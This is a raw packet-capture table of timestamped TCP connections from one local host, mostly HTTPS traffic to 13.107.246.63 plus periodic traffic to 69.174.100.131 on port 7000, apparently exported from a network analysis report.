Dec 5, 2024 14:02:53.195391893 CET	443	49978	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.197906971 CET	443	49979	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.198395967 CET	49979	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:53.198416948 CET	443	49979	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.199012041 CET	49979	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:53.199018955 CET	443	49979	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.343756914 CET	443	49980	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.344614983 CET	49980	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:53.344640017 CET	443	49980	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.345508099 CET	49980	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:53.345513105 CET	443	49980	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.629585981 CET	443	49978	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.632332087 CET	443	49978	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.632524967 CET	49978	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:53.632674932 CET	49978	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:53.632680893 CET	443	49978	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.632884979 CET	443	49979	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.635946989 CET	443	49979	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.636017084 CET	49979	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:53.636563063 CET	49979	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:53.636569977 CET	443	49979	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.641355991 CET	49983	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:53.641367912 CET	443	49983	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.641433954 CET	49983	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:53.643058062 CET	49984	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:53.643065929 CET	443	49984	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.643125057 CET	49984	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:53.643574953 CET	49983	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:53.643588066 CET	443	49983	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.644237995 CET	49984	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:53.644249916 CET	443	49984	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.777899981 CET	443	49980	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.781466961 CET	443	49980	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.781620026 CET	49980	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:53.910645962 CET	49980	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:53.910675049 CET	443	49980	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.910686970 CET	49980	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:53.910692930 CET	443	49980	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.991908073 CET	49985	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:53.991935015 CET	443	49985	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.992072105 CET	49985	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:53.994415045 CET	49985	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:53.994429111 CET	443	49985	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:54.139934063 CET	443	49981	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:54.203979015 CET	443	49982	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:54.240344048 CET	49981	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:54.240370035 CET	443	49981	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:54.240998983 CET	49981	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:54.241005898 CET	443	49981	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:54.241570950 CET	49982	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:54.241590977 CET	443	49982	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:54.242090940 CET	49982	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:54.242095947 CET	443	49982	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:54.404632092 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:02:54.524739981 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:02:54.573976040 CET	443	49981	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:54.577924967 CET	443	49981	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:54.577986956 CET	443	49981	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:54.578059912 CET	49981	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:54.578102112 CET	49981	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:54.578121901 CET	443	49981	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:54.578131914 CET	49981	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:54.578138113 CET	443	49981	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:54.580954075 CET	49986	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:54.580976963 CET	443	49986	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:54.581039906 CET	49986	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:54.581228971 CET	49986	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:54.581240892 CET	443	49986	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:54.638978958 CET	443	49982	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:54.642132998 CET	443	49982	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:54.642187119 CET	49982	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:54.642290115 CET	49982	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:54.642308950 CET	443	49982	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:54.642328978 CET	49982	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:54.642333984 CET	443	49982	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:54.646583080 CET	49987	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:54.646605968 CET	443	49987	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:54.646671057 CET	49987	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:54.646998882 CET	49987	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:54.647011042 CET	443	49987	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:55.103733063 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:02:55.223494053 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:02:55.363749981 CET	443	49984	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:55.364396095 CET	443	49983	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:55.364485025 CET	49984	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:55.364500046 CET	443	49984	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:55.364782095 CET	49983	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:55.364789963 CET	443	49983	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:55.365210056 CET	49984	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:55.365215063 CET	443	49984	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:55.365305901 CET	49983	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:55.365309954 CET	443	49983	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:55.710514069 CET	443	49985	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:55.712217093 CET	49985	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:55.712234974 CET	443	49985	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:55.712677956 CET	49985	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:55.712682962 CET	443	49985	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:55.800941944 CET	443	49983	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:55.800987005 CET	443	49984	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:55.801367044 CET	443	49984	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:55.801461935 CET	49984	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:55.801631927 CET	49984	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:55.801637888 CET	443	49984	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:55.801651001 CET	49984	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:55.801661015 CET	443	49984	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:55.802151918 CET	443	49983	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:55.802192926 CET	443	49983	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:55.802201986 CET	49983	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:55.802237034 CET	49983	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:55.802551031 CET	49983	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:55.802556038 CET	443	49983	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:55.802624941 CET	49983	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:55.802629948 CET	443	49983	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:55.806473970 CET	49989	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:55.806497097 CET	49988	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:55.806499958 CET	443	49989	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:55.806520939 CET	443	49988	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:55.806664944 CET	49989	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:55.806684971 CET	49988	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:55.807445049 CET	49989	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:55.807456017 CET	443	49989	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:55.807723045 CET	49988	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:55.807738066 CET	443	49988	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:55.976080894 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:02:56.096183062 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:02:56.163621902 CET	443	49985	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.163645983 CET	443	49985	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.163695097 CET	443	49985	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.163702965 CET	49985	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:56.163844109 CET	49985	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:56.164143085 CET	49985	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:56.164163113 CET	443	49985	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.164174080 CET	49985	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:56.164180040 CET	443	49985	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.170460939 CET	49990	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:56.170490026 CET	443	49990	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.170780897 CET	49990	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:56.171422005 CET	49990	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:56.171443939 CET	443	49990	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.314747095 CET	443	49986	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.316206932 CET	49986	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:56.316227913 CET	443	49986	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.316684961 CET	49986	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:56.316690922 CET	443	49986	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.364778996 CET	443	49987	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.366309881 CET	49987	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:56.366331100 CET	443	49987	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.366853952 CET	49987	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:56.366858959 CET	443	49987	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.751251936 CET	443	49986	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.754340887 CET	443	49986	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.757683992 CET	49986	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:56.778510094 CET	49986	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:56.778527021 CET	443	49986	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.778629065 CET	49986	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:56.778639078 CET	443	49986	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.801265001 CET	443	49987	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.801543951 CET	443	49987	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.801614046 CET	49987	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:56.810409069 CET	49991	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:56.810442924 CET	443	49991	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.810533047 CET	49991	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:56.814754963 CET	49987	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:56.814779997 CET	443	49987	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.814791918 CET	49987	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:56.814799070 CET	443	49987	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.830590010 CET	49991	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:56.830600977 CET	443	49991	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.882042885 CET	49992	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:56.882066011 CET	443	49992	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:56.882143021 CET	49992	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:56.886287928 CET	49992	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:56.886297941 CET	443	49992	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:57.541595936 CET	443	49989	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:57.543421984 CET	443	49988	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:57.544012070 CET	49988	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:57.544013023 CET	49989	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:57.544024944 CET	443	49989	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:57.544028044 CET	443	49988	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:57.544493914 CET	49988	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:57.544500113 CET	443	49988	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:57.544559002 CET	49989	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:57.544567108 CET	443	49989	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:57.888341904 CET	443	49990	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:57.889880896 CET	49990	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:57.889893055 CET	443	49990	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:57.891072989 CET	49990	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:57.891079903 CET	443	49990	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:57.976135969 CET	443	49989	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:57.977941990 CET	443	49988	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:57.979520082 CET	443	49989	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:57.979569912 CET	443	49989	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:57.979654074 CET	49989	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:57.979671001 CET	49989	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:57.981189966 CET	443	49988	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:57.981648922 CET	49988	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:58.004467010 CET	49989	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:58.004494905 CET	443	49989	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:58.004508018 CET	49989	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:58.004513025 CET	443	49989	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:58.005320072 CET	49988	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:58.005352020 CET	443	49988	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:58.005367041 CET	49988	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:58.005373955 CET	443	49988	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:58.012999058 CET	49993	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:58.013025999 CET	443	49993	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:58.013096094 CET	49993	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:58.015077114 CET	49993	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:58.015091896 CET	443	49993	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:58.017074108 CET	49994	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:58.017116070 CET	443	49994	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:58.017177105 CET	49994	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:58.017437935 CET	49994	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:58.017453909 CET	443	49994	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:58.299120903 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:02:58.323503971 CET	443	49990	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:58.326535940 CET	443	49990	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:58.326652050 CET	49990	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:58.326721907 CET	49990	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:58.326721907 CET	49990	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:58.326746941 CET	443	49990	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:58.326756954 CET	443	49990	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:58.330765963 CET	49995	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:58.330818892 CET	443	49995	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:58.330884933 CET	49995	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:58.331149101 CET	49995	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:58.331161976 CET	443	49995	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:58.419030905 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:02:58.423778057 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:02:58.543477058 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:02:58.555574894 CET	443	49991	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:58.556437016 CET	49991	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:58.556464911 CET	443	49991	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:58.556925058 CET	49991	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:58.556936026 CET	443	49991	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:58.616894960 CET	443	49992	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:58.617770910 CET	49992	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:58.617801905 CET	443	49992	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:58.618428946 CET	49992	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:58.618433952 CET	443	49992	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:59.045219898 CET	443	49991	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:59.048666000 CET	443	49991	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:59.048796892 CET	49991	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:59.048825026 CET	49991	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:59.048846006 CET	443	49991	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:59.048883915 CET	49991	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:59.048890114 CET	443	49991	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:59.052248001 CET	443	49992	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:59.052966118 CET	49996	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:59.053005934 CET	443	49996	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:59.053128004 CET	49996	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:59.053426981 CET	49996	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:59.053447008 CET	443	49996	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:59.055449963 CET	443	49992	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:59.055567980 CET	49992	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:59.055730104 CET	49992	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:59.055730104 CET	49992	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:59.055744886 CET	443	49992	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:59.055753946 CET	443	49992	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:59.061615944 CET	49997	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:59.061654091 CET	443	49997	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:59.061793089 CET	49997	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:59.061990023 CET	49997	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:59.062004089 CET	443	49997	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:59.748039961 CET	443	49993	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:59.748301029 CET	443	49994	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:59.847605944 CET	49993	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:59.847635031 CET	443	49993	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:59.849533081 CET	49993	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:59.849551916 CET	443	49993	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:59.850621939 CET	49994	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:59.850639105 CET	443	49994	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:59.852119923 CET	49994	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:59.852125883 CET	443	49994	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.049138069 CET	443	49995	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.099297047 CET	49995	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:00.099329948 CET	443	49995	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.100439072 CET	49995	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:00.100445032 CET	443	49995	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.185265064 CET	443	49993	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.186146021 CET	443	49994	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.186212063 CET	443	49994	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.186275959 CET	49994	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:00.188631058 CET	443	49993	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.188688993 CET	49993	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:00.457526922 CET	49993	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:00.457576036 CET	443	49993	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.457593918 CET	49993	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:00.457603931 CET	443	49993	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.476238012 CET	49994	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:00.476284981 CET	443	49994	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.482800007 CET	443	49995	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.486795902 CET	443	49995	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.489025116 CET	49995	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:00.496877909 CET	49995	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:00.496908903 CET	443	49995	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.496922016 CET	49995	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:00.496929884 CET	443	49995	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.502048969 CET	49998	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:00.502098083 CET	443	49998	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.502193928 CET	49998	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:00.505569935 CET	49999	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:00.505616903 CET	443	49999	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.505779028 CET	49999	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:00.507586956 CET	50000	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:00.507617950 CET	443	50000	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.507668972 CET	50000	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:00.508095026 CET	49998	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:00.508111954 CET	443	49998	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.510231018 CET	49999	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:00.510251045 CET	443	49999	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.510512114 CET	50000	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:00.510524035 CET	443	50000	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.768089056 CET	443	49996	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.769188881 CET	49996	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:00.769229889 CET	443	49996	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.770071983 CET	49996	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:00.770078897 CET	443	49996	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.786426067 CET	443	49997	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.790447950 CET	49997	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:00.790471077 CET	443	49997	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.791071892 CET	49997	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:00.791079998 CET	443	49997	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:00.905597925 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:03:01.025331020 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:03:01.203048944 CET	443	49996	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:01.207000017 CET	443	49996	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:01.209644079 CET	49996	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:01.209687948 CET	49996	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:01.209707022 CET	443	49996	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:01.209719896 CET	49996	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:01.209726095 CET	443	49996	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:01.212563038 CET	50001	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:01.212604046 CET	443	50001	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:01.212670088 CET	50001	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:01.212841034 CET	50001	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:03:01.212857962 CET	443	50001	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:01.221056938 CET	443	49997	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:01.224251986 CET	443	49997	13.107.246.63	192.168.2.6
Dec 5, 2024 14:03:01.224302053 CET	443	49997	13.107.246.63	192.168.2.6
